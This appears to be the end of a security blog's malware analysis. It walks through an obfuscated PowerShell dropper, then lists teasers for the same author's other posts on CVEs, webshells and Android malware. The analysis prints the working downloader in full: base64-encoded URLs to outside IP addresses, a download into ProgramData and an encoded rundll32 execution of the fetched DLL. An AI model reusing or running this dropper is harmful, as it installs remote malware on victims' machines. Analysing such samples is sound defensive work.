$Muttonhood = "aAB0AHQAcAA6AC8ALwAxADUAOAAuADIANQA1AC4AMgAxADMALgAxADgAMQAvAG0AaQBSAC8AcABiAFMAegBVAHAAdQBaAHgASgA=naAB0AHQAcAA6AC8ALwAxADYAMgAuADIANQAyAC4AMQA3ADIALgA1ADQALwA5AEcAUQA1AEEAOAAvADUAeQA2AEwARgByAHgASAA=naAB0AHQAcAA6AC8ALwAxADQAOQAuADEANQA0AC4AMQA1ADgALgA5ADEALwBYAG4AZAAvADgAMwByAFIAbgBHAEkAOQA1AHEA";
foreach ($pansinusitisUnpatrolled in $Muttonhood -split "n") {
$pongidaeThickest = 415;
$tantalizerTeutonicism = 443;
$largeheartedlyWeighed = "Obstetrication";
try {
$pupillarityInlanders = "aAB0AHQAcAA6AC8ALwA4ADgALgAyADEAOAAuADEANQAwAC4AMQAwADAAXvVaAB0AHQAcAA6AC8ALwBtAG8AdQB0AGgAZQByAC4AYwBvAGwAbwBnAG4AZQA=XvVaAB0AHQAcAA6AC8ALwBzAGMAaABvAG8AbABtAGUAbgAuAHEAdQBlAGIAZQBjAA==XvVaAB0AHQAcABzADoALwAvADYANwAuADUAMgAuADIAMAAxAC4ANwAyAA==";
$PropensionSorceresses = "Admonisher";
$ProsthenicCongery = "grandnephew";
$crackerjack = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($pansinusitisUnpatrolled));
iwr $crackerjack -O C:\\ProgramData\\TiderodeReinhabitation.rilingShrews;
$wheelwork = "GemmatingInsulator";
$Heiress = "PistoladeProjectrix";
if ((Get-Item -Path C:\\ProgramData\\TiderodeReinhabitation.rilingShrews).Length -ge 109595){
powershell -encodedcommand "cwB0AGEAcgB0ACAAcgB1AG4AZABsAGwAMwAyACAAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAVABpAGQAZQByAG8AZABlAFIAZQBpAG4AaABhAGIAaQB0AGEAdABpAG8AbgAuAHIAaQBsAGkAbgBnAFMAaAByAGUAdwBzACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByADsAQQBuAGcAdQBsAGEAcgA=";
$inhabitednessExpositorially = "Noncurtailing";
$outrhymed = "denotePhototelegraphically";
break;
Angular;
}
Angular;
} catch {
$moolet = "aAB0AHQAcABzADoALwAvAGMAbwByAHIAdQBwAHQAcgBlAHMAcwBTAHUAYgBzAGkAZABpAHoAZQByAC4AYQBjAHQAbwByAA==dSVgaAB0AHQAcAA6AC8ALwAyADEAMwAuADEAMwAxAC4AMQA2ADgALgA2ADMA";$PolyspermiaAntipill = 952;
}
}
$prevalency = 517;
$DendriticContributions = "FechnerianDorsoposteriad";
$PotentiatorToxaemic = "ophichthyoidLichenization";
Angular;
Cleaning it up a little bit, and we finally get the downloader code:
Start-Sleep -Seconds 13;
$Muttonhood = "aAB0AHQAcAA6AC8ALwAxADUAOAAuADIANQA1AC4AMgAxADMALgAxADgAMQAvAG0AaQBSAC8AcABiAFMAegBVAHAAdQBaAHgASgA=naAB0AHQAcAA6AC8ALwAxADYAMgAuADIANQAyAC4AMQA3ADIALgA1ADQALwA5AEcAUQA1AEEAOAAvADUAeQA2AEwARgByAHgASAA=naAB0AHQAcAA6AC8ALwAxADQAOQAuADEANQA0AC4AMQA1ADgALgA5ADEALwBYAG4AZAAvADgAMwByAFIAbgBHAEkAOQA1AHEA";
foreach ($pansinusitisUnpatrolled in $Muttonhood -split "n") {
try {
$crackerjack = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($pansinusitisUnpatrolled));
iwr $crackerjack -O C:\\ProgramData\\TiderodeReinhabitation.rilingShrews;
if ((Get-Item -Path C:\\ProgramData\\TiderodeReinhabitation.rilingShrews).Length -ge 109595){
powershell -encodedcommand "cwB0AGEAcgB0ACAAcgB1AG4AZABsAGwAMwAyACAAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAVABpAGQAZQByAG8AZABlAFIAZQBpAG4AaABhAGIAaQB0AGEAdABpAG8AbgAuAHIAaQBsAGkAbgBnAFMAaAByAGUAdwBzACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByADsAQQBuAGcAdQBsAGEAcgA=";
break;
}
} catch {}
}
The variable Muttonhood
contains URLs being base64-encoded. An attempt the fetch content is made, and the result is saved to a file in ProgramData
. If the content has a significant size, another encoded Powershell command is executed. If decoded, we get
start rundll32 C:\ProgramData\TiderodeReinhabitation.rilingShrews,DllRegisterServer;Angular
Indeed, it executes the file just being downloaded. 1’111 lines of code for this … It was worth it.
Intro When it comes to input sanitisation, who is responsible, the function or the caller ? Or both ? And if no one does, hoping that the other one will do t...
Intro After being tasked with auditing GLPI 10.0.12, for which I uncovered two unknown vulnerabilities (CVE-2024-27930 and CVE-2024-27937), I became really i...
Intro A few weeks ago, I discovered during an intrusion test two vulnerabilities affecting GLPI 10.0.12, that was the latest public version at this time. The...
I was recently tasked with auditing the application GLPI, a few days after its latest release (10.0.12 at the time of writing). The latter stands for Gestion...
I won’t insult you by explaining once again what JSON Web Tokens (JWTs) are, and how to attack them. A plethora of awesome articles exists on the Web, descri...
A few days ago, I published a blog post about PHP webshells, ending with a discussion about filters evasion by getting rid of the pattern $_. The latter is c...
A few thoughts about PHP webshells …
I remember this carpet, at the entrance of the Computer Science faculty, with this message There’s no place like 127.0.0.1/8. A joke that would create two ca...
TL;DR A few experiments about mixed managed/unmanaged assemblies. To begin with, we start by presenting a C# programme that hides a part of its payload in an...
It was a sunny and warm summer afternoon, and while normal people would rush to the beach, I decided to devote myself to one of my favourite activities: suff...
The reader should first take a look at the articles related to CVE-2023-3032 and CVE-2023-3033 that I published a few days ago to get more context.
This walkthrough presents another vulnerability discovered on the Mobatime web application (see CVE-2023-3032, same version 06.7.2022 affected). This vulnera...
Mobatime offers various time-related products, such as check-in solutions. In versions up to 06.7.2022, an arbitrary file upload allowed an authenticated use...
King-Avis is a Prestashop module developed by Webbax. In versions older than 17.3.15, the latter suffers from an authenticated path traversal, leading to loc...
Let’s render unto Caesar the things that are Caesar’s, the exploit FuckFastCGI is not mine and is a brilliant one, bypassing open_basedir and disable_functio...
I have to admit, PHP is not my favourite, but such powerful language sometimes really amazes me. Two days ago, I found a bypass of the directive open_basedir...
PHP is a really powerful language, and as a wise man once said, with great power comes great responsibilities. There is nothing more frustrating than obtaini...
A few weeks ago, a good friend of mine asked me if it was possible to create such a program, as it could modify itself. After some thoughts, I answered that ...
In the previous article, I described how I wrote a simple polymorphic program. “Polymorphic” means that the program (the binary) changes its appearance every...
The malware presented in this blog post appeared on Google Play in 2016. I heard about it thanks to this article published on checkpoint.com. The malicious a...
Ransomwares are really interesting malwares because of their very specific purpose. Indeed, a ransomware will not necessarily try to be stealth or persistent...
A few days ago, I found this article about a malware targeting Sberbank, a big Russian bank. The app disguises itself as a web application, stealing in backg...
RuMMS is a malware targetting Russian users, distributed via websites as a file named mms.apk [1]. This article is inspired by this analysis made by FireEye ...
Could a 5-classes Android app be so harmful ? dsencrypt says “yes”…
~$ cat How_an_Android_app_could_escalate_its_privileges_Part4.txt
~$ cat How_an_Android_app_could_escalate_its_privileges_Part3.txt
~$ cat How_an_Android_app_could_escalate_its_privileges_Part2.txt
~$ cat How_an_Android_app_could_escalate_its_privileges.txt
Even if the thesis introduces the extensions internals, and analyses the difference between mobile and desktop browsers in terms of likelihood, efficiency an...